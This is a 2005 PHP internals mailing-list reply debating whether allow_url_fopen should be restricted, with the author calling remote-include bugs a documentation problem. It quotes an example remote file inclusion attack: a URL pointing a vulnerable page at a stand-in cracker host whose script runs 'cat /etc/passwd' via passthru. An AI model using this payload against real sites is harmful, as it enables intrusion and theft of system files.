Re: allow_url_fopen should be INI_ALL
| From: | Gareth Ardron | Date: | Wed, 29 Jun 2005 05:09:19 +0000 |
| Subject: | Re: allow_url_fopen should be INI_ALL | ||
| References: | 1 2 3 4 5 6 7 8 9 | Groups: | php.internals |
| Request: | Send a blank email to internals+get-16985@lists.php.net to get a copy of this message | ||
Russell Nelson wrote:
I think the documentation quite clearly states that /all/ functions that deal with files may deal with remote files if the fopen wrappers are enabled Why did both of my users miss that documentation? The facts seem to be in opposition to your assertion that "the documentation quite clearly states". I don't really feel that 2 users are a good indication of users as a whole, here - however, it still seems more of a documentation issue than a broken function issue to me. To break BC seems overkill for a function which is so useful to many of us working on systems distributed over many different servers.
It's unfortunate, but there's a lot of muppets out there who think they can code Now you're blaming the victim. Yes, I am. Ok, maybe part of that blame should lie in the documentation, but really it's a silly bug to fall for.To quote the page at the top of a google search for "php security flaw" (as you suggested searching for): "This is a common mistake by newbies. When PHP is including a page it doesn't care if the page is locally or on a remote server. Someone could easily change the URL to *http://www.unsecuresite.com/index.php?page=http://www.cracker.com/crack.php*. Imagine crack.php is containing this text: <?php passthru( "cat /etc/passwd" ); ?>" Indeed, the rest of that google search seems to be pulling up articles on past php security flaws now delt with or articles on how to improve the security of your php scripts - I'm hard-pushed to find a large number of specific articles dealing with the 'flaw' you mention. Regards, -- Gareth Ardron